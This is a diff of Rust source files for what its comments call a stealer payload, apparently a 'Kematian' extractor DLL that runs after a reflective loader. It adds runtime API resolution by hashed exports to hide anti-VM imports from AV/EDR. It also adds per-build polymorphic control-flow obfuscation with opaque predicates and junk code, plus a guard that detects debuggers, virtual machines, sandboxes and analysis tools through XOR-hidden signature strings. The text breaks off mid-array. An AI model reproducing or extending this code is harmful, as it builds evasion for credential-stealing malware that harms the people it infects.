f: NtQueryFn = core::mem::transmute(raw); + let mut flags: u32 = 0; + let st = f( + abi::GetCurrentProcess(), + 0x1f, + &mut flags as *mut u32 as *mut c_void, + core::mem::size_of::() as u32, + ptr::null_mut(), + ); + if st == 0 { + Some(flags) + } else { + None + } +} + +/// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns +/// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger +/// is attached), None on failure/no debugger. +pub unsafe fn dyn_query_debug_port() -> bool { + let raw = nt_query_information_process(); + if raw == 0 { + return false; + } + let f: NtQueryFn = core::mem::transmute(raw); + let mut port: *mut c_void = ptr::null_mut(); + let st = f( + abi::GetCurrentProcess(), + 7, + &mut port as *mut *mut c_void as *mut c_void, + core::mem::size_of::<*mut c_void>() as u32, + ptr::null_mut(), + ); + st == 0 && !port.is_null() +} + +/// Dynamically downgrade an RWX region using the resolved VirtualProtect. +pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool { + let raw = virtual_protect(); + if raw == 0 { + return false; + } + let f: VirtualProtectFn = core::mem::transmute(raw); + let mut old: u32 = 0; + f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0 +} diff --git a/Kematian-Standalone/rust-extractor/src/dynapi.rs b/Kematian-Standalone/rust-extractor/src/dynapi.rs new file mode 100644 index 0000000..34d1ef8 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/dynapi.rs @@ -0,0 +1,270 @@ +//! Runtime resolution of anti-analysis APIs — silent import table. +//! +//! A DLL that statically imports `advapi32` (registry), `iphlpapi` +//! (GetAdaptersAddresses) and the user32 window/display enumeration APIs is a +//! textbook anti-VM signature: those functions are almost never legitimately +//! imported together in a normal module. Static AV/EDR triage reads the PE +//! import table *before* execution. +//! +//! Every API used for VM / sandbox / hook probing here is resolved at runtime +//! by walking the PEB module list and hashing export names (same technique as +//! `apires`, which resolves ntdll/kernel32 for the guard). The resulting +//! import table contains only benign kernel32 staples. + +#![allow(dead_code)] +#![allow(non_snake_case)] + +use core::ffi::c_void; + +use crate::apires; + +// --------------------------------------------------------------------------- +// Module-name ror-hashes (wide). kernel32/ntdll already resolved by apires. +// +// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks +// constant-folding) so raw ror-hashes never appear in the binary. +// --------------------------------------------------------------------------- +const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A; + +#[inline(always)] +fn r(h: u32) -> u32 { + h ^ core::hint::black_box(HASH_KEY) +} + +const H_USER32: u32 = 0xC780_008F ^ HASH_KEY; +const H_ADVAPI32: u32 = 0xC120_008F ^ HASH_KEY; +const H_IPHLPAPI: u32 = 0x0120_0092 ^ HASH_KEY; +const H_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY; + +// Export-name ror-hashes (verified algorithm). +const H_REG_OPEN_KEY_EX_W: u32 = 0x6100_00A8 ^ HASH_KEY; +const H_REG_CLOSE_KEY: u32 = 0xBC00_00A0 ^ HASH_KEY; +const H_REG_QUERY_VALUE_EX_W: u32 = 0xE6E0_00A6 ^ HASH_KEY; +const H_REG_ENUM_KEY_EX_W: u32 = 0x7600_00A8 ^ HASH_KEY; +const H_GET_ADAPTERS_ADDRESSES: u32 = 0xA971_209D ^ HASH_KEY; +const H_ENUM_WINDOWS: u32 = 0x6B40_00A4 ^ HASH_KEY; +const H_GET_WINDOW_TEXT_W: u32 = 0xF548_00A9 ^ HASH_KEY; +const H_GET_CLASS_NAME_W: u32 = 0xB590_009E ^ HASH_KEY; +const H_GET_SYSTEM_METRICS: u32 = 0xCE52_009A ^ HASH_KEY; +const H_ENUM_DISPLAY_SETTINGS_W: u32 = 0xAD17_A0A5 ^ HASH_KEY; +const H_ENUM_DISPLAY_DEVICES_W: u32 = 0x9C2F_40A3 ^ HASH_KEY; +const H_GET_LAST_INPUT_INFO: u32 = 0xFCE2_0098 ^ HASH_KEY; +const H_GET_CURSOR_POS: u32 = 0xC120_00A2 ^ HASH_KEY; +const H_GET_SYSTEM_FIRMWARE_TABLE: u32 = 0x7649_488D ^ HASH_KEY; + +// --------------------------------------------------------------------------- +// Cached resolved pointers +// --------------------------------------------------------------------------- + +struct Cache { + reg_open: usize, + reg_close: usize, + reg_query: usize, + reg_enum: usize, + adapters: usize, + enum_windows: usize, + get_window_text: usize, + get_class_name: usize, + get_system_metrics: usize, + enum_display_settings: usize, + enum_display_devices: usize, + get_last_input: usize, + get_cursor_pos: usize, + get_system_firmware_table: usize, +} + +const CACHE_ZERO: Cache = Cache { + reg_open: 0, reg_close: 0, reg_query: 0, reg_enum: 0, adapters: 0, + enum_windows: 0, get_window_text: 0, get_class_name: 0, + get_system_metrics: 0, enum_display_settings: 0, enum_display_devices: 0, + get_last_input: 0, get_cursor_pos: 0, get_system_firmware_table: 0, +}; + +static mut CACHE: Cache = CACHE_ZERO; +static mut INIT: bool = false; + +#[inline] +unsafe fn resolve(module_hash: u32, fn_hash: u32) -> usize { + // Both arguments are stored scrambled; unmask before lookup so the raw + // values only ever exist transiently in registers at runtime. + let base = apires::module_base_by_name_hash(r(module_hash)); + if base == 0 { + return 0; + } + apires::export_by_hash_public(base, r(fn_hash)) +} + +#[inline] +unsafe fn ensure() { + if INIT { + return; + } + CACHE.reg_open = resolve(H_ADVAPI32, H_REG_OPEN_KEY_EX_W); + CACHE.reg_close = resolve(H_ADVAPI32, H_REG_CLOSE_KEY); + CACHE.reg_query = resolve(H_ADVAPI32, H_REG_QUERY_VALUE_EX_W); + CACHE.reg_enum = resolve(H_ADVAPI32, H_REG_ENUM_KEY_EX_W); + CACHE.adapters = resolve(H_IPHLPAPI, H_GET_ADAPTERS_ADDRESSES); + CACHE.enum_windows = resolve(H_USER32, H_ENUM_WINDOWS); + CACHE.get_window_text = resolve(H_USER32, H_GET_WINDOW_TEXT_W); + CACHE.get_class_name = resolve(H_USER32, H_GET_CLASS_NAME_W); + CACHE.get_system_metrics = resolve(H_USER32, H_GET_SYSTEM_METRICS); + CACHE.enum_display_settings = resolve(H_USER32, H_ENUM_DISPLAY_SETTINGS_W); + CACHE.enum_display_devices = resolve(H_USER32, H_ENUM_DISPLAY_DEVICES_W); + CACHE.get_last_input = resolve(H_USER32, H_GET_LAST_INPUT_INFO); + CACHE.get_cursor_pos = resolve(H_USER32, H_GET_CURSOR_POS); + CACHE.get_system_firmware_table = resolve(H_KERNEL32, H_GET_SYSTEM_FIRMWARE_TABLE); + INIT = true; +} + +// --------------------------------------------------------------------------- +// Typed wrappers +// --------------------------------------------------------------------------- + +pub unsafe fn RegOpenKeyExW( + h_key: usize, + sub: *const u16, + opts: u32, + sam: u32, + out: *mut usize, +) -> i32 { + ensure(); + if CACHE.reg_open == 0 { return -1; } + let f: unsafe extern "system" fn(usize, *const u16, u32, u32, *mut usize) -> i32 = + core::mem::transmute(CACHE.reg_open); + f(h_key, sub, opts, sam, out) +} + +pub unsafe fn RegCloseKey(h_key: usize) -> i32 { + ensure(); + if CACHE.reg_close == 0 { return -1; } + let f: unsafe extern "system" fn(usize) -> i32 = core::mem::transmute(CACHE.reg_close); + f(h_key) +} + +pub unsafe fn RegQueryValueExW( + h_key: usize, + name: *const u16, + res: *mut u32, + ty: *mut u32, + data: *mut u8, + size: *mut u32, +) -> i32 { + ensure(); + if CACHE.reg_query == 0 { return -1; } + let f: unsafe extern "system" fn(usize, *const u16, *mut u32, *mut u32, *mut u8, *mut u32) -> i32 = + core::mem::transmute(CACHE.reg_query); + f(h_key, name, res, ty, data, size) +} + +pub unsafe fn RegEnumKeyExW( + h_key: usize, + index: u32, + name: *mut u16, + name_len: *mut u32, + res: *mut u32, + class: *mut u16, + class_len: *mut u32, + last_write: *mut c_void, +) -> i32 { + ensure(); + if CACHE.reg_enum == 0 { return -1; } + let f: unsafe extern "system" fn(usize, u32, *mut u16, *mut u32, *mut u32, *mut u16, *mut u32, *mut c_void) -> i32 = + core::mem::transmute(CACHE.reg_enum); + f(h_key, index, name, name_len, res, class, class_len, last_write) +} + +pub unsafe fn GetAdaptersAddresses( + family: u32, + flags: u32, + reserved: *mut c_void, + adapters: *mut c_void, + size: *mut u32, +) -> u32 { + ensure(); + if CACHE.adapters == 0 { return 0xFFFFFFFF; } + let f: unsafe extern "system" fn(u32, u32, *mut c_void, *mut c_void, *mut u32) -> u32 = + core::mem::transmute(CACHE.adapters); + f(family, flags, reserved, adapters, size) +} + +pub unsafe fn EnumWindows(callback: usize, lparam: isize) -> i32 { + ensure(); + if CACHE.enum_windows == 0 { return 0; } + let f: unsafe extern "system" fn(usize, isize) -> i32 = core::mem::transmute(CACHE.enum_windows); + f(callback, lparam) +} + +pub unsafe fn GetWindowTextW(hwnd: usize, buf: *mut u16, n: i32) -> i32 { + ensure(); + if CACHE.get_window_text == 0 { return 0; } + let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 = + core::mem::transmute(CACHE.get_window_text); + f(hwnd, buf, n) +} + +pub unsafe fn GetClassNameW(hwnd: usize, buf: *mut u16, n: i32) -> i32 { + ensure(); + if CACHE.get_class_name == 0 { return 0; } + let f: unsafe extern "system" fn(usize, *mut u16, i32) -> i32 = + core::mem::transmute(CACHE.get_class_name); + f(hwnd, buf, n) +} + +pub unsafe fn GetSystemMetrics(index: i32) -> i32 { + ensure(); + if CACHE.get_system_metrics == 0 { return 0; } + let f: unsafe extern "system" fn(i32) -> i32 = core::mem::transmute(CACHE.get_system_metrics); + f(index) +} + +pub unsafe fn EnumDisplaySettingsW( + device: *const u16, + mode: u32, + devmode: *mut c_void, +) -> i32 { + ensure(); + if CACHE.enum_display_settings == 0 { return 0; } + let f: unsafe extern "system" fn(*const u16, u32, *mut c_void) -> i32 = + core::mem::transmute(CACHE.enum_display_settings); + f(device, mode, devmode) +} + +pub unsafe fn EnumDisplayDevicesW( + device: *const u16, + idx: u32, + info: *mut c_void, + flags: u32, +) -> i32 { + ensure(); + if CACHE.enum_display_devices == 0 { return 0; } + let f: unsafe extern "system" fn(*const u16, u32, *mut c_void, u32) -> i32 = + core::mem::transmute(CACHE.enum_display_devices); + f(device, idx, info, flags) +} + +pub unsafe fn GetLastInputInfo(plii: *mut c_void) -> i32 { + ensure(); + if CACHE.get_last_input == 0 { return 0; } + let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_last_input); + f(plii) +} + +pub unsafe fn GetCursorPos(point: *mut c_void) -> i32 { + ensure(); + if CACHE.get_cursor_pos == 0 { return 0; } + let f: unsafe extern "system" fn(*mut c_void) -> i32 = core::mem::transmute(CACHE.get_cursor_pos); + f(point) +} + +pub unsafe fn GetSystemFirmwareTable( + provider: u32, + table_id: u32, + buffer: *mut c_void, + size: u32, +) -> u32 { + ensure(); + if CACHE.get_system_firmware_table == 0 { return 0; } + let f: unsafe extern "system" fn(u32, u32, *mut c_void, u32) -> u32 = + core::mem::transmute(CACHE.get_system_firmware_table); + f(provider, table_id, buffer, size) +} diff --git a/Kematian-Standalone/rust-extractor/src/flow.rs b/Kematian-Standalone/rust-extractor/src/flow.rs new file mode 100644 index 0000000..dc50a7b --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/flow.rs @@ -0,0 +1,247 @@ +//! Control-flow obfuscation helpers (polymorphic). +//! +//! Static analysis tools build a control-flow graph and reason about whether the +//! payload "looks" like a stealer. These helpers insert opaque predicates, +//! control-flow flattening, per-build junk instruction blocks, and bogus +//! control-flow edges that are true at runtime but hard to prove statically. +//! +//! The seeds, junk strengths and branch tags come from `gen.rs`, which is +//! regenerated before every build. This makes the emitted machine code — and +//! therefore the artifact's hash — different on every build, so a static +//! signature that matches one build will not match the next. + +use crate::gen; +use core::hint::black_box; + +/// Opaque predicate: always evaluates to `true` at runtime but is not obviously +/// constant to a static solver. Uses multiple rounds of non-linear arithmetic. +#[inline(never)] +pub fn opaque_true(seed: u32) -> bool { + let mut x = seed.wrapping_add(gen::GEN_SEED).wrapping_mul(0x9E37_79B9); + x = x.wrapping_add(0x7F4A_7C15); + x ^= x >> 13; + x = x.wrapping_mul(0x5D58_85A9); + x ^= x >> 16; + x = x.wrapping_mul(0x85EBCA6B); + // Final non-linear mix: for any input this is non-zero. + (x | (x.wrapping_mul(3) ^ 0x1234_5678)) != 0 +} + +/// Opaque predicate that evaluates to `false` (complement of opaque_true). +#[inline(never)] +pub fn opaque_false(seed: u32) -> bool { + !opaque_true(seed.wrapping_add(0xDEAD_BEEF)) +} + +/// 3-way opaque choice: picks one of three branches based on opaque state. +/// All three arms are real code; static analysis sees a 3-way join. +#[inline] +pub fn opaque_choice3(seed: u32, a: impl FnOnce(), b: impl FnOnce(), c: impl FnOnce()) { + let idx = opaque_index(seed, 3); + match idx { + 0 => a(), + 1 => b(), + _ => c(), + } +} + +/// 4-way opaque choice for even more CFG complexity. +#[inline] +pub fn opaque_choice4( + seed: u32, + a: impl FnOnce(), + b: impl FnOnce(), + c: impl FnOnce(), + d: impl FnOnce(), +) { + let idx = opaque_index(seed, 4); + match idx { + 0 => a(), + 1 => b(), + 2 => c(), + _ => d(), + } +} + +/// Opaque index in range [0, n) derived from seed. +#[inline(never)] +fn opaque_index(seed: u32, n: u32) -> u32 { + let mut x = seed.wrapping_add(gen::GEN_SEED); + x = x.wrapping_mul(0x9E37_79B9).wrapping_add(0x7F4A_7C15); + x ^= x >> 16; + x = x.wrapping_mul(0x5D58_85A9); + (x ^ (x >> 13)) % n +} + +/// Pick one of two branches at runtime based on an opaque predicate. Both arms +/// are real code; the selection is not statically obvious, so an analyzer sees a +/// join that could be either path. +#[inline] +pub fn opaque_choice(seed: u32, a: impl FnOnce(), b: impl FnOnce()) { + if opaque_true(seed) { + a(); + } else { + b(); + } +} + +/// Return a value only known at runtime, so a branch on it can't be constant +/// folded by a tool that inspects the binary in isolation. +#[inline(never)] +pub fn run_time_nonce() -> u32 { + let sp: usize; + unsafe { core::arch::asm!("lea {}, [rsp]", out(reg) sp, options(nostack, preserves_flags)); } + let tsc_lo: u32; + unsafe { core::arch::asm!("rdtsc", out("eax") tsc_lo, options(nostack, preserves_flags)); } + ((sp as u32) ^ gen::GEN_SEED ^ tsc_lo) | 1 +} + +/// Emit a block of junk arithmetic that the optimizer keeps (its result feeds a +/// black_box sink) but whose shape — number of ops, widths, rotation amount — +/// is re-randomized per build through `gen`. This injects polymorphic dead-ish +/// code into the hot path and changes the emitted bytes every build. +#[inline(never)] +pub fn junk() { + let variant = gen::JUNK_VARIANT; + let mut acc = gen::JUNK_XOR ^ run_time_nonce(); + let n = (gen::JUNK_N % 16) + 4; + let mut i = 0u32; + while i < n { + match variant { + 0 => { + acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i); + acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1); + } + 1 => { + acc = acc.wrapping_add(gen::JUNK_ROT).wrapping_mul(0x7F4A_7C15).wrapping_add(i); + acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1); + } + 2 => { + acc = acc.wrapping_mul(0x5D58_85A9).wrapping_add(gen::JUNK_XOR).wrapping_add(i); + acc = acc.wrapping_add(acc.rotate_right(7)) ^ acc.rotate_left(13); + } + _ => { + acc = acc.wrapping_mul(0x85EBCA6B).wrapping_add(gen::OPAQUE_TAG as u32).wrapping_add(i); + acc ^= acc.rotate_right(gen::JUNK_ROT as u32 % 31 + 1); + acc ^= acc.rotate_left(gen::JUNK_ROT as u32 % 31 + 1); + } + } + i += 1; + } + black_box(acc); +} + +/// More complex junk block with data-dependent control flow (opaque predicates +/// inside the junk itself). This defeats simple pattern matching on junk blocks. +#[inline(never)] +pub fn junk_complex(seed: u32) { + let complexity = gen::OPAQUE_COMPLEXITY as u32; + let mut acc = seed.wrapping_add(gen::JUNK_XOR) ^ run_time_nonce(); + let n = (gen::JUNK_N % 24) + 8; + let mut i = 0u32; + while i < n { + acc = acc.wrapping_mul(0x9E37_79B9).wrapping_add(gen::JUNK_ROT).wrapping_add(i); + // Opaque selector picks one of several arithmetic paths; a static + // analyzer sees all of them as reachable. + let sel = opaque_index(i.wrapping_add(seed), complexity.max(1)); + match sel { + 0 => acc ^= acc.rotate_right(gen::JUNK_ROT % 31 + 1), + 1 => acc ^= acc.rotate_left(gen::JUNK_ROT % 31 + 1), + 2 => acc = acc.wrapping_add(acc.rotate_right(7)), + _ => acc = acc.wrapping_mul(0x85EBCA6B), + } + i += 1; + } + black_box(acc); +} + +/// Control-flow flattening dispatcher. Transforms a linear sequence of blocks +/// into a state-machine loop with opaque state transitions. The `blocks` +/// closure receives a state and executes the corresponding block, returning +/// the next state (or u32::MAX to exit). +/// +/// Usage: +/// ```ignore +/// let mut state = 0; +/// while state != u32::MAX { +/// state = flatten_dispatch(state, |s| match s { +/// 0 => { do_work_0(); 1 }, +/// 1 => { do_work_1(); 2 }, +/// 2 => { do_work_2(); u32::MAX }, +/// _ => u32::MAX, +/// }); +/// } +/// ``` +#[inline(never)] +pub fn flatten_dispatch(mut state: u32, blocks: F) -> u32 +where + F: Fn(u32) -> u32, +{ + let seed = run_time_nonce(); + // Opaque state encoding: real state is XORed with per-iteration keystream + // Use CFF_KEY for per-build variance in the encoding scheme + let cff_mul1 = gen::CFF_KEY.wrapping_mul(0x9E37_79B9); + let cff_mul2 = gen::CFF_KEY.wrapping_mul(0x5D58_85A9); + let cff_add = gen::CFF_KEY.wrapping_mul(0x7F4A_7C15); + let mut encoded = state ^ cff_mul1; + let mut iterations = 0u32; + + loop { + // Decode current state + let decoded = encoded ^ (cff_mul1.wrapping_add(iterations)); + let next = blocks(decoded); + + if next == u32::MAX { + break; + } + + // Re-encode next state with different keystream + encoded = next ^ (cff_mul2.wrapping_add(iterations.wrapping_mul(cff_add))); + iterations += 1; + + // Inject junk every few iterations + if (iterations & 3) == 0 { + junk_complex(seed.wrapping_add(iterations)); + } + + // Safety bound + if iterations > 100 { + break; + } + } + + state +} + +/// Bogus control flow: creates a fake loop that looks like it could iterate +/// but actually runs exactly once. Confuses static analyzers looking for loops. +#[inline(never)] +pub fn bogus_loop(seed: u32, body: F) { + let mut counter = opaque_index(seed, 4) + 1; // 1-4 + while counter != 0 { + if opaque_true(seed.wrapping_add(counter)) { + body(); + } + counter = counter.wrapping_sub(1); + // Opaque: this looks like it could continue but counter always reaches 0 + if opaque_false(seed.wrapping_add(counter)) { + counter = 0; + } + } +} + +/// Deterministic per-build opaque branch tag; used to seed guards' join +/// counters so each artifact's control flow graph is unique. +#[inline] +pub fn branch_tag() -> u64 { + gen::OPAQUE_TAG +} + +/// Opaque loop bound: returns a value that looks variable but is actually +/// bounded and deterministic per-build. Use for loop counters that should +/// appear dynamic to static analysis. +#[inline(never)] +pub fn opaque_bound(seed: u32, min: u32, max: u32) -> u32 { + let range = max - min + 1; + min + opaque_index(seed, range) +} diff --git a/Kematian-Standalone/rust-extractor/src/gen.rs b/Kematian-Standalone/rust-extractor/src/gen.rs new file mode 100644 index 0000000..b121596 --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/gen.rs @@ -0,0 +1,26 @@ +// AUTO-GENERATED per build by builder.py. Do not edit. +// Each build rewrites this file, so the guard's keys, seeds and junk +// blocks are unique to every artifact. + +pub const GEN_SEED: u32 = 0xAFFBBF43; + +pub const K_TOKEN: u8 = 90; +pub const K_VENDOR: u8 = 190; +pub const K_SMBIOS: u8 = 74; +pub const K_ENV: u8 = 42; +pub const K_DISPLAY: u8 = 193; + +pub const JUNK_XOR: u32 = 0x422E101B; +pub const JUNK_ROT: u32 = 0x1FE84ADD; +pub const JUNK_N: u32 = 10; + +pub const OPAQUE_TAG: u64 = 0xD260CBEF81B2C5F2; + +// Polymorphic control-flow / evasion layer constants +pub const CFF_KEY: u32 = 0x96995F09; +pub const SYSCALL_TRAMP: u8 = 4; +pub const SLEEP_ROUNDS: u8 = 4; +pub const HOOK_ORDER_SEED: u32 = 0x140CC4BB; +pub const STACK_SPOOF_OFF: u32 = 0x107F; +pub const JUNK_VARIANT: u8 = 0; +pub const OPAQUE_COMPLEXITY: u8 = 1; diff --git a/Kematian-Standalone/rust-extractor/src/guard.rs b/Kematian-Standalone/rust-extractor/src/guard.rs new file mode 100644 index 0000000..58d402f --- /dev/null +++ b/Kematian-Standalone/rust-extractor/src/guard.rs @@ -0,0 +1,655 @@ +//! Runtime guard: anti-analysis / anti-debug / anti-VM / sandbox detection. +//! +//! Runs once inside `DllMain` (after the reflective loader has fully mapped and +//! relocated the image, so normal `std` is available). If the environment looks +//! hostile — a debugger, a virtual machine, a sandbox, or a known analysis tool +//! — the guard reports `false` and the payload refuses to start its worker. +//! +//! All detection strings are XOR-encrypted at compile time and only materialized +//! on the stack at the moment of the check, so traces of what the guard is +//! looking for do not sit in `.rodata` as plaintext. +//! +//! The guard is deliberately *defensive*: each check is independent and a few +//! false positives are tolerated (a score system, not a single hard kill), so a +//! real user on a clean machine still runs, while analysis environments that +//! trip many signals are dropped. + +use core::arch::asm; +use core::ffi::c_void; +use core::ptr; + +use crate::abi; +use crate::antihook; +use crate::antisbx; +use crate::antivm; +use crate::apires; +use crate::dynapi; +use crate::flow; +use crate::gen; +use crate::obf; +use crate::sleep; +use crate::syscall; + +// --------------------------------------------------------------------------- +// Encrypted string helpers +// --------------------------------------------------------------------------- + +/// ASCII-lowercase a byte slice. +fn lower(b: &[u8]) -> Vec { + b.iter().map(|c| c.to_ascii_lowercase()).collect() +} + +/// Case-insensitive substring match on bytes. +fn contains(hay: &[u8], needle: &[u8]) -> bool { + if needle.is_empty() || hay.len() < needle.len() { + return false; + } + hay.windows(needle.len()).any(|w| w.eq_ignore_ascii_case(needle)) +} + +// --------------------------------------------------------------------------- +// Anti-debug +// --------------------------------------------------------------------------- + +/// PEB being-debugged flag (gs:[0x60] -> PEB.BeingDebugged at +0x02). +#[inline] +unsafe fn peb_being_debugged() -> bool { + let peb: usize; + asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags)); + let being = ptr::read_volatile((peb + 0x02) as *const u8); + being != 0 +} + +/// PEB->NtGlobalFlag at +0xBC (x64). A debugger sets heap-related flags that +/// remain set for the process lifetime (heap flags: 0x70). +#[inline] +unsafe fn peb_nt_global_flag() -> bool { + let peb: usize; + asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags)); + let flags = ptr::read_volatile((peb + 0xBC) as *const u32); + // FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | + // FLG_HEAP_VALIDATE_PARAMETERS | FLG_APPLICATION_VERIFIER + const HEAP_FLAGS: u32 = 0x70 | 0x10 | 0x40; + flags & HEAP_FLAGS == HEAP_FLAGS +} + +/// ProcessDebugPort (info class 7) resolved at runtime via hash (no static +/// import). Returns true if a debugger is listening on the debug port. +unsafe fn nt_debug_port() -> bool { + apires::dyn_query_debug_port() +} + +/// Check the debug heap on the current process handle (kernel32, resolved at +/// runtime so it doesn't appear in the import table). +unsafe fn remote_debugger_present() -> bool { + apires::dyn_check_remote_debugger() +} + +/// Timing check: RDTSC must tick at a sane rate. Stepping through the code +/// under a breakpoint dramatically inflates the delta. +#[inline] +unsafe fn rdtsc() -> u64 { + let mut lo: u32; + let mut hi: u32; + asm!("lfence", "rdtsc", out("eax") lo, out("edx") hi, options(nostack, preserves_flags)); + ((hi as u64) << 32) | lo as u64 +} + +unsafe fn timing_sane() -> bool { + let a = rdtsc(); + let mut sink: u64 = 0; + for i in 0..2000u64 { + sink ^= i.wrapping_mul(0x9E37_79B9); + } + let b = rdtsc(); + let _ = sink; + // Single-stepping / breakpoints insert far more cycles than a real loop. + b.wrapping_sub(a) < 500_000 +} + +// --------------------------------------------------------------------------- +// Anti-VM +// --------------------------------------------------------------------------- + +#[repr(C)] +#[derive(Clone, Copy)] +struct MemStatusEx { + dw_length: u32, + dw_memory_load: u32, + ull_total_phys: u64, + ull_avail_phys: u64, + ull_total_page_file: u64, + ull_avail_page_file: u64, + ull_total_virtual: u64, + ull_avail_virtual: u64, + ull_avail_extended_virtual: u64, +} + +/// CPUID hypervisor-present bit (leaf 1, ECX bit 31) and vendor string +/// (leaf 0x40000000). Detects Hyper-V, VMware, KVM, VirtualBox, QEMU, Xen. +unsafe fn cpu_hypervisor() -> bool { + #[inline] + unsafe fn cpuid(leaf: u32, sub: u32) -> (u32, u32, u32, u32) { + let mut a = leaf; + let mut c = sub; + let mut d = 0u32; + let mut b = 0u32; + // rbx is owned by LLVM, so save/restore it across cpuid and capture ebx + // into a general-purpose register operand. + asm!( + "push rbx", + "cpuid", + "mov {tmp:e}, ebx", + "pop rbx", + inout("eax") a, + inout("ecx") c, + out("edx") d, + tmp = lateout(reg) b, + options(nostack, preserves_flags), + ); + (a, b, c, d) + } + + // Hypervisor present? + let (_, _, ecx, _) = cpuid(1, 0); + if ecx & (1 << 31) == 0 { + return false; + } + // Vendor string (12 bytes in EBX:EDX:ECX). + let (ebx, edx, ecx, _) = cpuid(0x4000_0000, 0); + let mut v = Vec::with_capacity(12); + for b in [ebx.to_le_bytes(), ecx.to_le_bytes(), edx.to_le_bytes()].iter().flatten() { + v.push(*b); + } + let vl = lower(&v); + let key: u8 = gen::K_VENDOR; + let bad: [(obf::Slot, u32); 7] = [ + obf::sig(gen::K_VENDOR, 0x1001, b"vmware"), obf::sig(gen::K_VENDOR, 0x1002, b"virtualbox"), + obf::sig(gen::K_VENDOR, 0x1003, b"kvm"), obf::sig(gen::K_VENDOR, 0x1004, b"qemu"), + obf::sig(gen::K_VENDOR, 0x1005, b"xen"), obf::sig(gen::K_VENDOR, 0x1006, b"vbox"), + obf::sig(gen::K_VENDOR, 0x1007, b"microsoft h"), + ]; + const LENS: [usize; 7] = [6, 10, 3, 4, 3, 4, 11]; + bad.iter().enumerate().any(|(i, s)| { + let plain = obf::dec_sig(key, s, LENS[i]); + contains(&vl, &plain[..LENS[i]]) + }) +} + +/// SMBIOS firmware string table search. +unsafe fn smbios_firmware() -> bool { + const RSMB: u32 = 0x5253_4D42; // 'RSMB' + let size = dynapi::GetSystemFirmwareTable(RSMB, 0, ptr::null_mut(), 0); + if size == 0 || size > 4 * 1024 * 1024 { + return false; + } + let mut buf = vec![0u8; size as usize]; + let got = dynapi::GetSystemFirmwareTable(RSMB, 0, buf.as_mut_ptr() as *mut c_void, size); + if got == 0 { + return false; + } + buf.truncate(got as usize); + let bl = lower(&buf); + let key: u8 = gen::K_SMBIOS; + let bad: [(obf::Slot, u32); 6] = [ + obf::sig(gen::K_SMBIOS, 0x2001, b"vmware"), obf::sig(gen::K_SMBIOS, 0x2002, b"virtualbox"), + obf::sig(gen::K_SMBIOS, 0x2003, b"qemu"), obf::sig(gen::K_SMBIOS, 0x2004, b"kvm"), + obf::sig(gen::K_SMBIOS, 0x2005, b"innotek"), obf::sig(gen::K_SMBIOS, 0x2006, b"bochs"), + ]; + const LENS: [usize; 6] = [6, 10, 4, 3, 7, 5]; + bad.iter().enumerate().any(|(i, s)| { + let plain = obf::dec_sig(key, s, LENS[i]); + contains(&bl, &plain[..LENS[i]]) + }) +} + +/// Ask the OS for key system facts and probe for VM-typical characteristics. +unsafe fn gather_system_quirks() -> bool { + // Low total RAM (< 2GB) is common in thin sandboxes. + let mut ms = MemStatusEx { + dw_length: std::mem::size_of::() as u32, + dw_memory_load: 0, + ull_total_phys: 0, + ull_avail_phys: 0, + ull_total_page_file: 0, + ull_avail_page_file: 0, + ull_total_virtual: 0, + ull_avail_virtual: 0, + ull_avail_extended_virtual: 0, + }; + if abi::GlobalMemoryStatusEx(&mut ms as *mut _ as *mut c_void) != 0 { + if ms.ull_total_phys > 0 && ms.ull_total_phys < 2 * 1024 * 1024 * 1024 { + return true; + } + } + + // A single-core / single-thread CPU is a common VM giveaway. + #[repr(C)] + #[derive(Clone, Copy)] + struct SysInfo { + processor_arch: u16, + page_size: u32, + min_app_addr: usize, + max_app_addr: usize, + active_processor_mask: usize, + num_processors: u32, + processor_type: u32, + alloc_granularity: u32, + processor_level: u16, + processor_revision: u16, + } + let mut si: SysInfo = unsafe { std::mem::zeroed() }; + abi::GetSystemInfo(&mut si as *mut _ as *mut c_void); + if si.num_processors <= 1 { + return true; + } + + false +} + +// --------------------------------------------------------------------------- +// Anti-analyze / sandbox +// --------------------------------------------------------------------------- + +unsafe fn process_scan() -> bool { + const TH32CS_SNAPPROCESS: u32 = 0x2; + let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if snap == 0 || snap == abi::INVALID_HANDLE_VALUE { + return false; + } + + #[repr(C)] + struct PROCESSENTRY32W { + dw_size: u32, + cnt_usage: u32, + th32_process_id: u32, + th32_default_heap_id: usize, + th32_module_id: u32, + cnt_threads: u32, + th32_parent_process_id: u32, + pc_pri_class_base: i32, + dw_flags: u32, + sz_exe_file: [u16; 260], + } + + let mut entry: PROCESSENTRY32W = unsafe { std::mem::zeroed() }; + entry.dw_size = std::mem::size_of::() as u32; + + // Tool-name signatures, XOR keystream so they don't sit in plaintext. + let key: u8 = gen::K_TOKEN; + let tools: [(obf::Slot, u32); 10] = [ + obf::sig(gen::K_TOKEN, 0x3001, b"x64dbg"), obf::sig(gen::K_TOKEN, 0x3002, b"ollydbg"), + obf::sig(gen::K_TOKEN, 0x3003, b"windbg"), obf::sig(gen::K_TOKEN, 0x3004, b"ida"), + obf::sig(gen::K_TOKEN, 0x3005, b"procmon"), obf::sig(gen::K_TOKEN, 0x3006, b"procmon64"), + obf::sig(gen::K_TOKEN, 0x3007, b"vmtoolsd"), obf::sig(gen::K_TOKEN, 0x3008, b"wireshark"), + obf::sig(gen::K_TOKEN, 0x3009, b"tcpview"), obf::sig(gen::K_TOKEN, 